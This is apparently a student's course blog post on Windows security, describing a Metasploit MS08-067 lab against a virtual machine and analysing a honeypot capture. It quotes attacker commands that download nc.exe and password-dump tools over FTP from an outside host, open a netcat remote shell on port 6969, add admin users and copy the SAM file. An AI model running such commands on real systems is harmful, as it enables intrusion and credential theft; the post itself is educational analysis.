20199119 2019-2020-2 《网络攻防实践》第7周作业

Windows操作系统安全攻防

1.实践内容

Windows操作系统基本结构

  • Windows操作系统内核的基本模块包括:Windows执行体、Windows内核体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口内核实现代码。
  • Windows操作系统在用户代码的代码模块包括:系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL。
  • Windows操作系统内核实现的核心机制:Windows进程和线程管理机制、Windows内存管理机制、Windows文件管理机制、Windows注册表管理机制、Windows的网络机制。

windows网络机制各模块包括:

组件模块 描述
各网卡硬件设备驱动(物理层) 一般由第三方硬件厂商开发并提供
NDIS库及miniport驱动(链路层) 为不同的网卡驱动程序和TDI传输层间构建了封装接口
TDI(被称为网络协议驱动)(网络层、传输层) 实现TCP/IP等协议栈
网络API DLL 及TDI客户端(会话层、表示层) 网络API DLL为应用程序提供了独立于具体协议的网络交互实现方式,TDI客户端是API接口的具体实现
网络应用程序与服务进程(OSI应用层) 实现网络交互与通信功能

Windows操作系统基于引用监控器模型

Windows身份认证机制

  • Windows账户分为用户,用户组,和计算机三大类,Windows用户账户的口令经过加密处理后被保存于SAM或者活动目录AD中,其中本地用户账户口令信息经过不可逆的128位随机密钥Hash加密后存储在SAM文件中。

Windows授权与访问控制机制

  • 由内核中的SRM模块与用户态的LSASS服务共同实施。认证通过后,会赋予用户访问令牌。

  • Windows对于系统中所有需要保护的资源抽象成对象,关联一个SD安全描述符。其中指明了哪些主体可以以何种方式访问对象。

安全审计机制

  • LSASS服务保存审计策略,SRM在进行对象访问授权时,也将审计记录发送给LSASS服务,再由EventLog服务进行写入记录。

其他安全机制

  • 安全中心(防火墙、补丁、病毒防护),IPsec加载和验证机制,EPS加密文件系统,文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制等。

Windows远程攻击技术分类

  • 远程口令猜测与破解攻击
  • 攻击Windows网络服务
  • 攻击Windows客户端及用户

远程安全攻防

  • 安全漏洞公开披露信息库:CVE,NVD,OSVDB,CNNVD等。
  • 针对特定目标的渗透测试攻击过程:漏洞扫描,查找相应渗透代码,渗透测试(匹配环境等)。
  • 远程口令猜测和破解攻击:SMB服务的用户口令猜测,利用身份认证协议的漏洞进行用户口令破解;防范措施:尽量关闭不必要的易受攻击的网络服务,配置防火墙对相应端口进行访问控制,设置强口令。
  • 网络服务远程渗透攻击:对网络服务默认开放的端口进行攻击。防范措施:打补丁,在漏洞发布到补丁更新时尽量关闭相关端口网络服务。

本地安全攻防

  • 获取受限账户后提权(DLL注入),获取adminstrator权限甚至local system权限。
  • 敏感信息窃取:提取口令字密文,破解密文,窃取数据;防范措施:设置强口令,加密口令。
  • 消踪灭迹:关闭审计功能,消除事件日志;防范措施将日志记录到不可擦除的设备中或备份至网络服务器。
  • 设置后门:在受控主机中安装特定后门程序;防范措施:后门检测软件。

2.实践过程

kali打开msfconsole,如果提示WARNING: No database support: No database YAML file,首先利用命令msfdb init进行数据初始化配置,要用root权限,搜索漏洞编号,输入命令use+漏洞名称来利用漏洞

选择一个载荷,选3,不要选windows/meterpreter/,选了就是坑

设置靶机和攻击机IP地址,用run运行

看到Windows命令行,输入ipconfig,发现显示靶机IP,表明进入靶机

创建名为gaga的用户

靶机显示创建成功

查看权限,发现不是最高

将gaga加入管理员组,发现成员组后有了administrator,表明gaga加入了管理员组

实践直接继续以上步骤即可,输入run运行前打开wireshark,攻击发起时会发起ARP请求,第一个ARP请求的时间就是攻击发起的时间。攻击机向靶机发了许多SMB协议包。而MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的函数时触发,并利用这个漏洞进行攻击。

输入指令ifconfig,虽然是错的,但wireshark仍然捕捉到了

攻击者使用了什么破解工具进行攻击?
筛选出攻击机和靶机之间的通信ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106,访问了网站,可以看到UA信息,推测攻击主机为NT5.0系统,安装了一些插件,发现使用了IIS4.0,可能有Unicode攻击

发现特殊的字符%C0%AF,验证推测为Unicode攻击

发现了SQL语句,推测有SQL注入,有ADM!ROX!YOUR!WORLD 这个特征,查询到是由msadc(2).pl渗透攻击代码发起的攻击,针对msadcs.dll中RDS漏洞。

攻击者如何使用这个破解工具进入并控制了系统?

根据以下会话
SESSION:1778-80 cmd /c echo user johna2k > ftpcom
SESSION:1780-80 cmd /c echo hacker2000 > ftpcom
SESSION:1782-80 cmd /c echo get samdump.dll > ftpcom
SESSION:1784-80 cmd /c echo get pdump.exe > ftpcom
SESSION:1786-80 cmd /c echo get nc.exe > ftpcom
SESSION:1789-80 cmd /c echo quit >> ftpcom
SESSION:1791-80 cmd /c ftp -s:ftpcom -n www.nether.net

攻击机开始了一连串攻击动作,创建了ftpcom脚本,并使用ftp连接www.nether.net,尝试下载 samdump.dll、pdump.exe和nc.exe,
由于登录不成功,下载失败

之后终于写对了,蜜罐连接了攻击机,下载了指定文件

利用指令cmd1.exe /c nc -l -p 6969 -e cmd1.exe。利用Unicode漏洞并通过nc.exe构建了一个远程shell通道,连接端口6969,获得了访问权,进入了交互式控制阶段


攻击者获得系统访问权限后做了什么?
进入交互式控制阶段后,输入了以下指令(未全列出),整体目的是为了将权限提升至管理员,.[A出现这个,只能说这个攻击者linux用的多,习惯了使用上下箭头来重复命令
...
dir
.[Adir
dir
del ftpcom //删除文件
ls.
dir
type readme.e //查看文件的内容
c:.
cd
dir
rm ..
del fun
dir
cd exploites
dir
cd exploits
dir
cd microsoft
dir
cd ..
cd newfiles
dir
cd ..
cd unix
dir
cat yay //查看文件内容,但没有成功,改成使用type命令
type yay. //此处还输错文件名
type yay.txt
net session //尝试列出会话,但因为权限问题被拒绝
net users //列出用户
dir
type yay2.txt
del yay2.txt
net session >>yay3.txt
dir
del yay&.*
dir
del yay*
del yay3.txt
dir
dir
yuper .....
type heh.txt
del heh.txt
cd program files
dir
cd ..
dir
echo Hi, i know that this a ..is a lab server, but patch the holes! 😃 >>README.NOW.Hax0r //发了一个 echo 消息到 C 盘根目录文件 README.NOW.Hax0r:
dir
dir
net group
net localgroup
net group domain admins
.[Anet group /?
net group ??
net group /?
net group
net localgroup
net localgroup /domain admins
net localgroup domain admins
net users
net session
.[A.[A.[Anet localgroup domain admins
net group domain admins
net localgroup administrators
.[Anet localgroup administrators
net localgroup administrators
net session
dir
cd program files
dir
cd common files
dir
cd obdc
dir
cd microsoft shadr..red
cd microsoft shared
dir
cd ..
cd odbc
dir
cd data dou
cd data sources
dir
cd..
cd ..
dir
cd system
dir
cd msads
dir
cd msas.dcs
cd msadc
dir
psu
pdump
net start //查看开启了哪些服务
net localgroup administrators //添加到管理员中使其具有管理员权限
dir..
net users
net users
net users /?
net users hi guy /ADD
/net..
netnet password //更改系统登陆密码
net user
net user /?
net user himan HarHar666 /ADD //建立用户
net name
net user
net user Administrator
cd /winnt
dir
cd \winnt
cd C:\Program Files\Common Files\System\msadc
del c
del samdump.dll
del pdump.exe
del
cd\winnt
cd resp..
cd repair
dir
rdisk -s/
d.rd
rdisk -/s
dir
rdisk // 备份关键系统信息,在 /repair 目录中就会创建一个名为 sam._ 的 SAM 压缩拷贝,并且攻击者把这个文件拷贝到 har.txt 并打印。以下可以看到。
rdisk -s
dir
cat
type sam._
...

我们如何防止这样的攻击?

  • 禁用不需要的服务和端口
  • 及时更新和打补丁
  • 推荐火绒,虽然没有广告费

你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
攻击者知道他的目标是一台蜜罐主机,因为攻击者输入了这是见过的最好的蜜罐

3.学习问题及解决

问题1:MSF5一切过程都很顺,到最后显示个Exploit completed, but no session was created

解决:用的是windows/meterpreter/reverse_tcp载荷,可能是不能用了,改用generic/shell_reverse_tcp就可以建立连接了。

问题2:分析攻击过程无从下手?

解决:参考其他博客以及作者给的分析,在wireshark里艰难的寻找各种数据包,最后还算是大致的知道了攻击过程,不过还是不知道有没有提权成功。

4.实践总结

又到了吐槽的时候,这次做实践真是多难坎坷,首先做的很顺利,就是到最后一步不建立会话,把这句话粘贴到百度上找了各种办法,虚拟机卸载了又装,反反复复多次,每次使用windows/meterpreter/reverse_tcp这个载荷都会把靶机弄得无限重启,说是系统文件损坏,在几个小时后抱着尝试的心态换了载荷就成功了,大学霸IT达人解释是MSF一些模块对win的中文版支持不好,容易触发失败,看到17年就有碰到这种情况的,查找各种怎么把win换成英文版,最后发现找不到,一度绝望...之后就可以对攻击进行分析了,首先几千个数据包,看的头大,参考博客,过滤跟踪TCP流,总算是看着相对清晰了,看着一些TCP流里的语言,好吧,还有SQL语句,从刚开始看目标是个WEB网站的时候,盲猜是SQL注入,不过不懂更细的,跟着作者分析的文件看数据包,最终也是没有知道攻击者是否提权成功了,只能以己推人,发现注入点之后想办法进行下载木马,打开端口,之后拿下服务器,再提权,删除痕迹,留下后门或者退出,期间的尝试就是删删改改,一看攻击过程,大致就是这样子,每个渗透者中规中矩干的事。终于把实验做完了,该没有坑了吧,果然怕什么来什么,实践过程及分析做着在Typora写着,快写完了,虚拟机开的过多电脑直接卡死,只能强行关机重开,写的东西没有保存...只能重新再写了...现在写着又到了快写完的时候又一次经历了卡死,电脑发出响声感觉要爆炸,写的又没有保存,坚决不能再重启,进行了强制睡眠,打开发现Typora还能保存,马上保存,就养成了边写边保存的习惯...艰难的完成了博客.一把辛酸泪。

posted @ 2020-04-16 10:42  李昕哲20199119  阅读(231)  评论(0编辑  收藏  举报
Live2D